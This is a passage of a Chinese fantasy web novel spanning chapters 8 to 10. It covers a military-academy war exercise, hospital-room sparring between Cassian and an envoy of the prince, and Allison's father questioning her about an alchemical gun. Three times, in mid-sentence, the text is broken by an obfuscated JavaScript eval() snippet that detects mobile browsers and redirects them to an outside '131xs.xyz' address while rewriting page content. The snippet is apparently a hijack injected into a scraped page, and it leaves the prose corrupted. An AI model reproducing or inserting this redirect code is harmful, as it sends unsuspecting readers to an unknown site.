密林之外，远远传来的厮杀声。 “维克多，战况如何？” 卡西恩伸出手，从维克多那里接过望远镜，看向林外。 由于安吉洛小队的失败，蓝方的侦察链缺失了关键的一环，行动逐渐迟缓起来。 而红方主力部队收到信号后，开始迅速向高地推进，胜利女神的青睐似乎逐渐偏向红方。 然而，卡西恩的表情却渐渐变得凝重，望远镜的水晶镜片中，亦映出艾莉森同样紧皱的眉头。 黑发少年几乎是咬牙切齿地说—— “伊萨克在做什么？为什么不继续推进？！” “高地前有一座狭窄山谷，盲目挺进，恐怕会遭到伏击。”艾莉森看向地图，冷静分析，“……在此地犹豫，恐怕会陷入被动，情况对我们不利。” “卡洛那家伙，倒也不算笨。”卡西恩从鼻子里“切”了一声，有些焦虑地咬着手指，“伊萨克太保守了。大小姐，如果是你，会怎么做？” 艾莉森望天，如果是按她的想法—— 当然是喊二营长把他X的意大利炮拉来然后对着高地开轰确保主力安全通过。 “分兵作战。让弓箭队采取火攻，同时派遣小股队伍侦察山谷两侧。” 她只能用卡西恩能够听得懂的语言将内心的狂野想象“翻译”出来，毕竟这个世界连海蒂的炼金术都还没有发展到那个阶段，她不是李X龙，卡西恩也不是二营长。 思索片刻，卡西恩放下望远镜，眼中似有暗火燃烧： “不能坐以待毙，改变行动计划，突击高地。”他摊开地图，用□□指向高地侧翼：“伊萨克需要增援，我们可以从这条小路，奇袭蓝军，形成夹击……” 卡西恩话音未落，只听“咚”的一声—— 赛琳瘫坐在地，整张脸毫无血色，青紫色的嘴唇微微颤抖着，背部已被汗水完全打湿，她想要用炼金魔枪支撑着站起来，双腿却完全使不上力气。 “赛琳！”艾莉森连忙扶住她，让她靠在自己的怀里，一旁的弗兰克递上水壶，喂她喝了两口。 赛琳似乎缓解了些，虚弱道：“……我没事，队长，你继续说。” 卡西恩不语，他早就注意到赛琳的消耗异乎寻常，恐怕与那柄漆黑的炼金魔枪脱不了干系，但为了此前的战术执行，他并没有开口询问。 ——偏偏在这个时候。 “……北部悬崖。”艾莉森清冷的声音打破了沉默，她将赛琳交给一旁的弗兰克，纤细的手指在地图上轻点。“蓝军此地防备薄弱，如果我们能从这里上去，解决哨兵，便可以引起混乱，制造战机。” “你疯了吗？”弗兰克惊呼出声，“那可是悬崖，我们又不会飞行魔法！” 卡西恩亦是难掩惊讶，他本以为艾莉森只是擅长观察，也许还有几分战术上的才能。但此刻，他却在她清澈的蓝眸中看见了某种近乎疯狂的决心。 那是战士的眼神。 “只要一个人能上去，就能放下绳子，接应同伴。我之前观察过，那座悬崖不算太高，岩石有天然凸起，可以攀爬——维克多可以和我一起。”艾莉森站起身来，拍了拍膝盖上的灰尘，仿佛在说一件再平常不过的小事。 侦察兵沉默片刻，点了点头。 “有把握吗？”卡西恩看向她，大脑飞速地运作着。 ——这是一个盲点，卡洛绝对不会料到，像艾莉森这样的贵族小姐，能够攀爬上北部悬崖。 问题在于，她真的能做到吗？ “我会赌上兰卡罗德家的荣誉。”艾莉森答，接着看向卡西恩，沉声道：“队长，时间紧迫，请下命令。” 若是往常，卡西恩定然要嘲讽几句，但此刻他早已收起笑容，严肃道：“维克多，和我去探查密林出口布防情况，注意隐蔽；弗兰克，你配合艾莉森，留意撤退路线，万一失败，我们需要退路；赛琳……” 他的目光落在棕发少女身上，有些犹豫。 “队长，我还能支援大家！”赛琳焦急地挣扎着，想要离开弗兰克支撑她的怀抱，站起身来。 “赛琳，你现在需要休息！”弗兰克作为治疗兵，连忙制止，“你的魔力已经接近枯竭，再这样下去，身体会承受不住的！” “你的魔枪，还能用几次？” “队长！” 卡西恩抬了抬手，阻止弗兰克，冷静地问：“赛琳，回答我，还能用几次？” “一次。”赛琳抿紧嘴唇，竭力让双腿停止颤抖，她握住枪管，回望卡西恩。 “那就把它留到最关键的时候。”卡西恩点点头，声音低沉而坚定—— “行动！” 卡西恩走到艾莉森身侧，深深地看了她一眼：“靠你了，艾莉森.兰卡罗德。” “只是演习而已，又不是生离死别，”她扬起眉，嘴角上扬，“这样的表情可不该出现在你脸上，卡西恩.布莱克。” * 艾莉森望向眼前的岩壁，手心浸出汗珠。 悬崖大概有三到四层楼高，覆盖着植被。 前世她参加过学校的攀岩社*，甚至还参加过一些特种作战的训练——而自从她回想起前世，她从未停止过锻炼。 艾莉森深吸一口气，想要让自己的心跳平复，告诉自己—— 可以做到。 她将披风裁成细布条，缠在手上，目光锁定了一条最短的攀爬线路。 维克多从行军包中摸出一捆黄麻绳，递给艾莉森，又看了看风向，“没、没问、问题了。” “难得听你说这么长的话，”艾莉森打趣道，手边却没停下准备，她接下绳索，叮嘱维克多：“在我到达顶端时，发射信号。” 说罢，她猛地一蹬地面，单手抓住岩壁凸起，另一只手迅速拔出匕首，插入岩壁上方的裂缝，借力拉升。尽管缠了布条，但掌心与粗糙的岩石摩擦，依旧生出一股钝痛。 一瞬间，艾莉森竟然产生了一种奇特的感受——由痛觉所给予的，强烈的生命力。 艾莉森调整重心，将力量分散到手脚三点。上方不远处，一根藤曼缠绕在突出的岩石上。她调整呼吸，纵身跃起，指尖堪堪勾住了藤曼，随即猛地收紧手臂，借势摆荡，靴尖再蹬上另一条缝隙。 风在她鬓角拂过，像是在呼啸着警告她。 艾莉森向上攀爬的速度越来越快，她双手交替，匕首不断在岩缝间试探、刺入、借力，指节因过度用力而僵硬，掌心渗出血珠，周遭的景物也渐渐模糊—— 不能停下。 顶端已经近在咫尺—— 突然，手中的藤曼猛地崩断，艾莉森的身体失去支撑，重心猛然下坠—— 她听见岩壁下方维克多的惊呼。 “恐惧不会让你掉下去，松手才会。 ” 前世训练时听过的一句话，在她脑中炸开，半空之中，她用匕首猛地刺入了岩壁裂缝！ 锋利的刃口死死嵌住岩壁，艾莉森整个人悬挂在峭壁上，脚下的石屑簌簌坠落，跌入黑暗的深渊。 ——手臂仿佛在燃烧，将她的体力消耗殆尽。 这个感觉，前世的自己也曾经体验过。 那时的她，紧紧地抱着怀里的小小身躯，河岸是那么近，又那么远。 她已经死过一次，而这一次，她要作为艾莉森.兰卡罗德—— 赢过死神。 艾莉森的双腿猛蹬，借助摆荡的惯性，用全身的力气撞向岩壁，钻心的疼痛从指尖传来——她空出的那只手终于扣住了悬崖顶上的石缝。 她将全身的力量都灌注在手臂上，借助最后一丝力气，狠狠一撑！ 终于翻上了崖顶。 于此同时，信号弹划过长空，拖出一条炽白的光痕。 她做到了。 艾莉森躺在地上，大口大口地喘着气，想要拂去湿透的额发，伸出手来，却只见到一片血肉模糊，分不清是血是汗。 * 黄昏时分，密林之外，箭镞在微光下泛着冰冷的光芒。 弓箭队队长冷眼望向密林深处，等待猎物自投罗网。 夕阳投下最后的余辉，一道身影自林间走出，他的军装上沾满了泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826026|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污，但黑发下金绿色的眼睛却如星辰般明亮。 卡西恩.布莱克，大摇大摆地出现在严阵以待的弓箭队面前，场面甚至有一些滑稽。 “好盛大的欢迎仪式啊。”卡西恩朝弓箭队长挥了挥手，仿佛是在跟对面的熟人打招呼一样自然，“老哥这么防着我，实在是让我受宠若惊。” “卡洛阁下早就料到你们会来侧翼骚扰。”弓箭队长冷笑，他大手一挥，“放箭！一只虫子也别想从林子里飞出来！” 无数箭矢划破夜幕，暴雨般倾泄而下，仿佛带着死亡的低语，扑向卡西恩。 “就是现在，赛琳！”卡西恩手持小型圆盾，迅速翻滚跳开，朝身后大喊道。 火焰如巨龙的吐息般席卷而来，目标却不是袭向卡西恩的箭雨，而是弓箭队后方的哨塔！ 震耳欲聋的巨响过后，烈焰冲天而起，照亮夜色，而哨塔亦轰然倒塌，浓烟骤然弥漫开来—— 一片惊呼之中，卡西恩身形如鬼魅般掠起，杀入蓝军阵营之中。他剑法高超，速度极快，转眼之间，便有不少士兵倒在他脚下。 他灵活地跳上高台，一脚踢翻数个用于制作掩体的木桶，拦住试图围上来的敌人，朝着主帐的位置大声喊道：“卡洛.布莱克！别像缩头乌龟一样躲在后方！” “胆小鬼，你只敢让自己的士兵来送死吗？”卡西恩并不与敌兵硬碰硬，利用夜色的掩护，边战边退，不断游走。 “围住他！” “别让他跑了！” 蓝军士兵越聚越多，纵是卡西恩也渐渐吃力起来，身上的伤口不断增多，呼吸亦越发沉重。 “这样的景致，倒是很适合你这样的丧家之犬。”一道冰冷的声音自高处响起，同样的黑发，同样的英俊，甚至连眼中对彼此的敌意和仇视，都如出一辙。“你该不会愚蠢的以为，这种程度的骚扰，就能为伊萨克那个笨蛋制造机会吧？” 正是卡西恩同父异母的哥哥，卡洛.布莱克。 “我亲爱的兄长大人，‘这种程度’的骚扰，不也成功让您来见我了吗？”卡西恩抬头，鲜血顺着脸颊流下，像是红色的泪痕，金绿色的眼睛微微眯起，夜色之中，火光映照着变为竖瞳的眸子，又转瞬即逝，卡西恩嘲讽道：“早点出来，倒也免得让你手下这些杂鱼来送死。” “若不是规则不许，我巴不得现在就杀了你。”卡洛的声音冷得像冰。 “那可不行，老头子会伤心的。”卡西恩唇角勾起一抹讥讽的微笑。 卡洛那张和卡西恩相似的脸孔因愤怒而变得扭曲：“杂种，你也配提父亲！弓箭手，准备！”卡洛正欲下令，迅速解决掉这个扰乱军心的混账，忽然，军营后方却又起了骚动—— “起火了！” “有人放火！” 卡洛脸色大变，军营后面是一片悬崖，怎么可能？卡西恩的小队，怎么可能有人能采取这种攻势—— “兄长大人，我早就说过，错估敌人的实力，战场上可是要命的。”卡西恩心中大石落了地，连嘲讽的语调，也轻松几分。 那个大小姐，居然真的做到了——别说是卡洛，自己都有些难以置信。 军号声由远及近响起。 “指挥官！红方攻破山谷了！”蓝色军装的传令兵急匆匆地跑来，向卡洛汇报。 卡洛紧握着拳，指节因用力而泛白，胸膛剧烈起伏，仿佛体内翻腾的怒火随时都会喷涌而出，双眼死死瞪着卡西恩，仿佛恨不得用目光将他千刀万剐。他强行压下即将失控的情绪，从牙缝里挤出几个字来。 “很好……很好。卡西恩，你记着。”卡洛劈手夺过身旁亲兵的长弓，弓弦拉满，箭镞直直对着近乎力竭的卡西恩。 羽箭破风，直直没入卡西恩的左肩，鲜血浸透了他的衣袖，卡西恩倒吸一口气，单膝跪地。 厮杀声已越来越近。 卡洛将弓箭往旁边一摔，怒喝道：“别管那个杂种了，都给我回到防守位置！” 冲天火光将夜幕点燃，红色的旗帜最终插在高地的哨塔上，实战演习攻防战，以蓝军的失败告终。 9. 偏移值：2% “艾莉森，我觉得你还是放弃那个苹果比较好。” 赛琳看着艾莉森手里那个几乎要被削成正方体的苹果，不禁笑出了声。 艾莉森的脸有些发烫，她的剑术并不差，怎么就搞不定削水果这种事呢？ 察觉到她的尴尬，棕发少女体贴地给友人找了个台阶：“你的左手还缠着绷带，还是我自己来就好。” “跟你相比，我这点伤算什么。”艾莉森将那个失败的苹果放在赛琳床头，关切地问：“你现在感觉怎么样？” 演练结束后，赛琳昏迷了一整天——弗兰克把她背回来的时候，她的脸色就跟死人一样，也把学院的医务官们吓得够呛，学生们在演习中受伤倒也正常，但若是闹出人命，可是要担大责的。 也怪不得麦克雷教官脸色铁青了。 “我已经好多了！”赛琳难掩兴奋，拉着艾莉森的手，“难以置信，我们居然真的赢了！真是多亏了海蒂姐的研究成果。等我好了，一定要当面谢谢她。” 她语气虽然轻快，但话说到一半，却不由得喘了口气，下意识地摸了摸胸口，脸色仍有些发白。 “你要快点好起来，到时，我们一起去。”艾莉森笑着点了点头，看见友人仍有些虚弱，她决定不告诉赛琳—— 有蓝方学生举报她们使用违规武器作弊，那把炼金魔枪现在被教官收上去调查了。 就让她再开心一会儿吧。 “对了，卡西恩队长的伤势怎么样？”赛琳关切地问，“我当时……击毁了哨塔后，看见他冲进去，我就没力气了，我听说……卡洛前辈，差点亲手杀了卡西恩？” 艾莉森皱了皱眉，她没有看到当时的现场。 根据卡西恩的计划，他和赛琳在蓝军阵前吸引敌人的注意力，她和维克多趁机在营地放火。说实话，她没有想到会这么顺利——卡西恩居然真的将卡洛引了出来。 虽说蓝方的营地混乱到一定程度，指挥官为了稳定军心不得不现身，但听说当时的卡洛，愤怒得几乎恨不得亲手撕了卡西恩似的，连身边亲兵阻止都没用，如果不是这样，自己和维克多要抓到机会，还要困难许多。 卡西恩是布莱克家的私生子这件事几乎是公开的秘密，卡洛作为布莱克家的正统继承人，对他有敌意也正常。 但是，就算卡西恩的确很擅长激怒他人，但她此前研究过老生们实战演练的纪录，卡洛虽然激进，但不是有勇无谋之人，否则也不会在他们牵制住安吉洛小队后，迅速利用地形优势，让伊萨克不敢贸然推进了。 作为红方的指挥官，他不应该这么容易情绪失控，这不正常。 “艾莉森，你要去探望一下队长吗？”赛琳见她若有所思的样子，不敢轻易打扰，小心翼翼地问。 “嗯。” 艾莉森顿了顿，随即点点头——她应该去确认一下。 男病房在建筑另一侧的底楼，艾莉森进门的时候，卡西恩头上缠着绷带，身上也有多处包扎，他靠在床上闭目养神，直到她站在床前，才缓缓睁开了眼。 “你太大意了，队长。”艾莉森打趣道：“如果我是刺客怎么办？” “那就杀了我。”卡西恩还是那副满不在意的样子，“我相信兰卡罗德大小姐已经规划好逃离学院守卫的路线了。” 如果说王都戒备最森严的地方在哪？除了皇宫，恐怕就是皇家军事学院了。 “如果学院有嘲讽课程，你肯定能拿满分。”艾莉森在他床头坐下，“要我给你削个苹果吗？” 过了一会儿，卡西恩看着艾莉森第二次削苹果的成果，不禁失笑。 “我现在开始相信，神明是公平的了。” 他的声音低沉，也许是因为受伤的原因，甚至有些发哑，衬衫没有扣紧，露出一小段线条分明的锁骨，金绿色的眸子在下午的阳光中映出艾莉森的影子，此刻微微眯着，倒像一只慵懒的猫。 ……要没有那张臭嘴，的确是一副蛊惑人心的皮相。 “……闭嘴。”艾莉森咬牙切齿，好不容易才忍住把苹果直接塞他嘴里的冲动。 “你现在应该很想揍我，”卡西恩托着下巴，好整以暇地盯着艾莉森，像在观察一件好玩的玩具，又像在等待她的反应，“可不能对伤员动手啊。” 他像是又想起什么令人愉快的事情，望向窗外，“再说，合格的士兵应该能控制好自己的情绪，不然的话……” 他似乎有意顿了一下，但嘴角的笑意却更深了，“可是很危险的。” “什么？”艾莉森顺着他的目光看去去，却是心中一惊—— 不远处，卡洛.布莱克在一群学生的簇拥下，正经过此地，似乎是察觉到了视线，他也看了过来。 卡西恩却拉上了窗帘，金绿色的眸子在落下的阴影中隐没了光芒。 “阳光有些太刺眼了。” 艾莉森觉得有些不对劲，正待再问，外面却却传来一阵敲门声。她看向卡西恩，后者耸耸肩，毫不在意地靠向床头，朝门口努了努嘴。 如果是别的贵族千金被这么使唤，直接走人已经是最好的结局了。 艾莉森按下额头上冒出的青筋，反复告诫自己： 他是伤患，他是伤患，他是伤患…… 门打开，艾文.费尔南迪站在门口，见开门的人是她，亦有些错愕。 “……艾莉森小姐。” “艾文，你来做什么？” 紫发少年用几乎只有自己和艾莉森能够听到的声音，低声警告道： “恕我直言，艾莉森小姐，您是殿下的未婚妻，还请注意举止。” 我的举止？ 艾莉森微微一愣，反应过来艾文话语中含义时，几乎无法克制自己的怒意，刚要发作，身后却传来一个慵懒带笑的声音： “哟，这不是埃德蒙殿下身边的那谁么？” 艾文微微皱眉，回头看向床上的黑发少年，语气不疾不徐，并不责怪他无礼的态度：“我是艾文.费尔南迪。”他推了推眼镜，语调不变地继续道，“布莱克阁下，殿下对您在实战演练中的表现赞赏有加，听闻你受伤，特派我前来问候。” “哦？赞赏有加？”卡西恩微微挑眉，目光艾文身上打量了一圈，随后又似笑非笑地落向艾莉森，“看来殿下的确对我印象深刻——”他顿了顿，语气微妙地上扬，慢悠悠道： “只不过，我倒是没听到什么问候，反而先瞧见您在培训我亲爱的队友的礼仪——” 他故作惋惜地摇了摇头：“这年头探个病，规矩都这么多了？要不然，依您所说，我是不是也得拖着这一身的伤从床上爬下来，给您鞠个躬，向遥远的埃德蒙殿下致意？” 他笑得轻佻，语气漫不经心，却像刀一样字字锋利，尾音一顿，缓缓补上一句： “‘愿荣耀归于王室’？” 空气瞬间安静了。 艾文镜片后的眼睛看不清神色，他没有立刻反驳，轻轻吐了一口气，颇有耐心地看向卡西恩：“布莱克阁下，我只是出于对艾莉森小姐的关心。” 他停顿了一下，随即补充道：“毕竟，殿下在意她的声誉。” 艾莉森眉心一跳，刚要开口，卡西恩却先嗤笑出声——每次他这么笑，艾莉森就知道，有人要倒霉了。 “这话倒有趣。”卡西恩的声音透着不加掩饰的讥诮，“按您的意思，我现在是她的污点咯？” 他耸了耸肩，毫不在意地笑道：“殿下可真是体贴入微啊，自己未婚妻探望一下队友，都要派人‘关心’。” “殿下绝非此意。”艾文的语气仍旧沉稳，眼底却浮起了一丝不耐，他压下情绪，淡淡道：“卡西恩阁下，殿下已经释出了善意，希望您能做出正确的选择。” 卡西恩轻笑，目光微眯，“殿下若不亲自过来，这样的‘善意’恐怕不够。”他往后一靠，望向艾莉森，随即给艾文致命一击：“但他眼光倒是不错，艾莉森小姐的确迷人。” 艾文的脸色终于一变，压抑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826027|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气中的怒火：“您太失礼了，布莱克阁下。” “抱歉，校医叮嘱我需要好好休息。不送了……呃，也恕我失礼，可否再说一遍您的尊姓大名？” 艾文不再理会他，径直推门而出。 以艾莉森对他的了解，这位素来冷静的冰山幕僚，应该是被卡西恩气得不轻。而造成现在局面的那位罪魁祸首，正窝在床上，笑得肩膀都在轻轻颤抖。 “我现在是不是该给你鼓个掌？”艾莉森翻了个白眼，没好气地说。 “也许你应该先向我道谢，‘迷人的’兰卡罗德小姐。”卡西恩用手指擦了擦眼角，假装自笑出泪来，“看来您未婚夫的幕僚，并不喜欢你。” “无所谓，反正我的名声已经够差了。”艾莉森撩了撩头发，像个真正的“恶役千金”那样，从鼻子里冷哼出声。 “这么说来，那些传闻是真的了？”卡西恩饶有兴趣地看着她，“我很难想象，你会为了倒追王子做出那些蠢事来。” 艾莉森斜睨他一眼，但见对方却是“我就这样你奈我何”的无赖表情，只能叹口气，“我只是不擅长……做一个有魅力的淑女。” 卡西恩点点头，轻轻抚摸着下巴，从头到脚打量了她片刻，随即沉声道：“的确不像。” “不会说话没人把你当哑巴。”艾莉森深吸一口气，拿出应对礼仪老师的气势，这家伙的言语攻击力是无差别扫射，自己绝对不能发火，否则便是正中他的下怀。 “不过，不需要做一个‘有魅力的淑女’，在我这儿，你就是你。”卡西恩望向艾莉森的眼睛，故意说得暧昧，换做别的姑娘，难免要思索其中的深意。 “……别拿我当傻子，卡西恩。” 艾莉森却不吃他那一套，甚至还在心里默默吐槽了一下，她干脆地站起身来，走向门边，把方才削好的苹果扔给他，冷声道：“我不知道你在图谋些什么，但我也不想被人当枪使。多谢你方才维护我，但演练结束了，尊敬的‘前队长’，告辞。” 她头也不回地留给卡西恩一个背影。 卡西恩看向手里那个堪称“崎岖”的苹果，笑了起来，金绿色的眸隐藏在黑发投下的影子中，让人看不清神色。 * 艾莉森在病房门口站了小会儿，最终还是长吐了一口气，迈步离开。 艾文的出现，代表着埃德蒙的态度。 殿下想要拉拢卡西恩，而后者并没有完全拒绝——卡西恩说得很明白，他需要埃德蒙展现更多的诚意。 而自己夹在中间，又会扮演什么样的角色？ 记忆中的原作漫画里，似乎并没有明显提到这两人的交集——比起那些复杂的让人头秃的恋爱关系，那个故事其他方面几乎没有参考价值。 穿过长廊，冷风拍在艾莉森脸上，让她有些繁乱的心绪镇静了些。 实战演练中，她们总算是打了个漂亮的翻身仗，至于炼金魔枪，随便别人怎么说，只要咬死了“没有先例”，学院也挑不出什么刺来—— 大概吧？ 可当她走到宿舍前，伸手正要推门时，却见到了一名不速之客。 “雷蒙德，你怎么来了？” 站在门前的是一名五六十岁的长者，穿着剪裁合身的黑色燕尾服，灰白色的头发梳理得一丝不苟。 雷蒙德是看着她长大的老管家，也是艾莉森曾经的家庭教师。他是公爵的旧部，退伍以后谢绝了安排给他养老的田地和农庄，服侍兰卡罗德家族。虽然名义上来说是仆人，但即便艾莉森最胆大妄为的时期，她也从不敢轻视雷蒙德。 他双臂笔直，向眼前略有些吃惊的少女鞠了一躬。 “小姐，老爷请您回去一趟。” 房间外的走廊，窗户未关，寒风从外头席卷而入，卷起她肩上的衣摆，像是在预示着什么。 艾莉森的手停在门把手上，心里浮起一丝不好的预感。 雷蒙德会亲自来叫她回去，父亲那里，定是有什么重要的事。 10. 偏移值：2% “我需要你的解释，艾莉森。” 书房的门被雷蒙德缓缓带上，沉重的木门将外界的光线隔绝，偌大的房间里，只有壁炉里的火光在燃烧。 金属盒子被打开，炼金魔枪静静地躺在其中，枪管上还残留着未清理干净的烧灼痕迹，似乎仍在诉说着它在战场上的辉煌战绩。 威廉.兰卡罗德公爵坐于书桌后，鹰隼般的蓝眼睛直直地盯着艾莉森，带着令人生畏的锐利。 路上，雷蒙德就已经警告过艾莉森：“公爵很生气，后果很严重。” 从小到大，父亲很少管束她，但如果她真的闯了祸，便会被叫来书房——但仅仅被他那样盯着，艾莉森便会觉得无比恐惧， 只能老实交代，缴械投降。 但这一次，她没有退缩。 “我拜托海蒂姐姐帮忙研发的武器，仅此而已。”艾莉森握紧拳头，抬头直视着威廉公爵。 “仅此而已？”公爵冷笑，伸手从桌上抽出一份文件，扔到艾莉森眼前：“蓝方侦察小队20人，其中包括5名魔法师；石制哨塔一座——这还是在学院顶尖魔法师设置了防御结界防止学生出现生命危险的情况下！哪怕你们只是预备军演习，这样的战绩，你觉得院方会当作没有看见？” 艾莉森低头扫了眼——是学院战后的评估报告，详细纪录了实战演练中双方的战斗成果，其中“炼金魔枪”一栏被单独列出，甚至还附上了详细的弹道分析。 很显然，院方拿不准该如何看待这件杀伤力极大的武器，便将它交到公爵这里——以兰卡罗德公爵的名声和作风，如果认为不妥，必然也不会包庇自己的女儿。 “侦察小队是我方共同合作结果，至于哨塔，我不否认，但根据赛琳平日的战绩，要摧毁它也不是什么难事。” ——如果她打准了的话。 “你把炼金武器交给了外人。”公爵的声音冷了几度。 艾莉森没有躲避这个问题，她直视着父亲的眼睛： “父亲大人，我只是利用自己的资源，将这把魔枪交到合适的人手中——学员手则中并没有禁止在实战演练中携带自身武器，更没有规定过武器不能赠与他人。学院如果认为这是作弊，难道不应该先修改规则，再来指责学生吗？” 她本打算用这套说辞来应对教官的调查，没想到却用在了此时。 威廉公爵打量着自己的女儿，数个月不见，她在外貌上变化不大，但由于训练的原因，她的皮肤晒黑了一些，学校的军装制服将她原本就高挑的身形勾勒得越发干练修长，这让他有些恍惚。 他见过穿着同样服装的长子和次子，看着他们从懵懂的少年成为能独挡一面的成人。 如今，他最小的女儿也走上了同样的道路。 ——连和他争辩时那倨傲的表情，也和她的兄长们如出一辙。 公爵有些感慨：小姑娘以一种令他惊叹的速度长大了。 书房陷入了令人不安的静默。 许久之后，公爵叹了口气，语气和缓下来。 “艾莉森，我不管你那个同学是什么人，但炼金科技是我们的王牌，你这样做太过草率。”公爵的口气缓和下来，“这次的事情我会帮你向院方解释，但从此以后，不可以再寻求炼金研究院的帮助。” “父亲！” 艾莉森急急开口，但公爵摆了摆手，阻止她继续说下去。 “够了，艾莉森，我已经给了你许多特权，但这件事情，不用再提。” 威廉.兰卡罗德公爵亮出了底线。 在某种程度上，他是乐见艾莉森成长的，但这有一个前提—— 就像在原作中她因为被埃德蒙退婚而遭到流放一样，兰卡罗德的荣誉不能被玷污，而炼金科技更是如此： 她不能损害家族的核心利益。 帝国军事体系中依靠炼金科技占据举足轻重地位的兰卡罗德家，一直受到视魔法为正统的传统贵族圈层的排挤，是依靠与母亲家系的联姻，才跻身帝国两大贵族，与布莱克家分庭抗礼。 如果此时再将炼金科技的应用扩散至家族之外—— 保守派贵族不会容许此事发生。 艾莉森的心沉了下去，她指甲扣紧了手心，嘴唇发干——她不能就这样顺从地答应下来，正想要再争辩几句，厚重的书房大门被敲响，打破了父女之间的僵持。 “进。”公爵沉声道。 雷蒙德走进来，向兰卡罗德公爵恭身行礼道：“大人，海蒂小姐在会客室，希望能与您见上一面。” 公爵瞥了眼艾莉森，见她一脸茫然，倒也不像是和海蒂串通好，于是点头应允道： “让她过来吧。” * 海蒂今天穿了条女士衬衫长裙，提着一只皮革小包。蕾丝压褶花边高领的蝴蝶结上，甚至还装饰了一枚宝石胸针，鸟窝般的头发特意打理过，整齐地盘在脑后，水晶镜片的黄铜链上，装饰着镂空的菱形图案，显得知性且优雅。 “许久不见了，叔父大人。” 她轻提裙摆，向公爵致礼，末了，朝坐在另一侧的艾莉森微微一笑——此刻的她的确像一个真正的贵族千金，而不是研究院里的炼金科技女魔头。 “海蒂，你在这时候过来，应该不只是为了找我和你堂妹寒暄的吧。”兰卡罗德公爵接过雷蒙德手中的红茶，目光越过魔枪，落在海蒂身上，“是为了这把出自研究院的武器，不是吗？” 他冷哼一声：“你来得倒很是时候。” “我很少过问研究院的事物，但这次的事情，你作为负责人，竟然不曾报备？炼金科技一旦落入不该落入的人手中，你不会不知道’前车之鉴’。” 公爵的口气算不上友好。 艾莉森毕竟是他自己的女儿，但对旁人就不一样了。 然而海蒂神色不卑不亢，丝毫没有因为公爵的威严而露出畏缩之意。 她捧起魔枪，手指滑过枪身,仿佛是在确认它的完整性，随后微微调整角度，将枪托处的铭文露给公爵看。 那是一串奇怪的字符：“ALT-MG04-S0305-SEA-01*”。 “叔父大人，每一件出自研究院的炼金武器，都有自己真正的名字。” 海蒂轻轻地抚摸着那串字符,眼神温柔得如同一个注视着孩子的母亲.：“这正是是为了’确保它们不会落入不该落入的人手中’”。 “那又如何，不过是一串字符。”公爵轻啜红茶，看似不以为然,视线却没有离开. “请看这最后的两个部分，这代表这把枪只能由研究院记录在案的特定使用者启动。目前，只有一个人符合这个权限。” 海蒂抬眼看向艾莉森，仿佛在说“你知道是谁”。 “至于最后的‘01’——”她轻轻按了一下铭文处，一道暗淡的蓝色光芒浮现，仿佛有一层隐形的魔力流动在枪身之中。 “这意味着，它已经处于追踪魔法监控之下。” 公爵放下茶杯，微微眯起了眼。 “据我所知，你的‘回响之尘’能力，只能感受到两三天以内魔力残留的模糊位置。” 兰卡罗德家这几代魔法能力普遍偏弱，大多属于支援型魔法师，海蒂的追踪魔法亦不例外，按艾莉森母亲的观点： “她的能力甚至还不如一条血统优良的猎犬。” 海蒂并不反驳公爵，只是笑了笑，打开皮革小包，取出一件精巧的炼金手枪，放在桌上。 黄铜合金打造枪筒，表面雕刻着细密的炼金铭文，握柄上沿处镶嵌着齿轮和罗盘，内部浮现着晨星般的光辉，显然是以高纯度的魔晶石为核心。仿佛一颗微型的机械心脏，链接着武器内部的魔力回路。 艾莉森眼神微变——她认识这把“手枪”。 此前，她和赛琳在研究院配合海蒂研究的时候，一开始是想为赛琳制作这种类型的小型武器。但赛琳的魔力过于强大，手枪根本无法发挥其威力，最后不得不放弃掉这个方案。 “叔父大人，您眼前所见，是炼金魔枪之前的失败品，”海蒂拿起那件造物，“可否借叔父府上剑术厅一用？” “可以，”公爵点点头，向雷蒙德招手示意，“雷蒙德，劳烦你为她准备。” “是，老爷。” 公爵起身，大步流星地走出书房，艾莉森和海蒂跟在后面。 艾莉森悄然靠近海蒂，不无好奇地问：“海蒂姐，你怎么来了？呃，我是说，你怎么知道我遇到麻烦了？” 海蒂调皮地朝她眨了眨眼，压低声音道：“不是说了吗，追踪魔法。” 艾莉森不解，正要再问，雷蒙德却提醒道：“两位小姐，我们到了。” “进来吧。”公爵向二人示意道。 艾莉森已经记不得自己有多久没来过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826028|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。 与其他贵族家族的演武场不同，兰卡罗德家的剑术大厅没有华丽的纹章装饰，也没有供人欣赏的金色浮雕，严丝合缝的石砖墙上，架起一排排沉稳厚重的兵器架——处处彰显着主人对实用性的偏好。 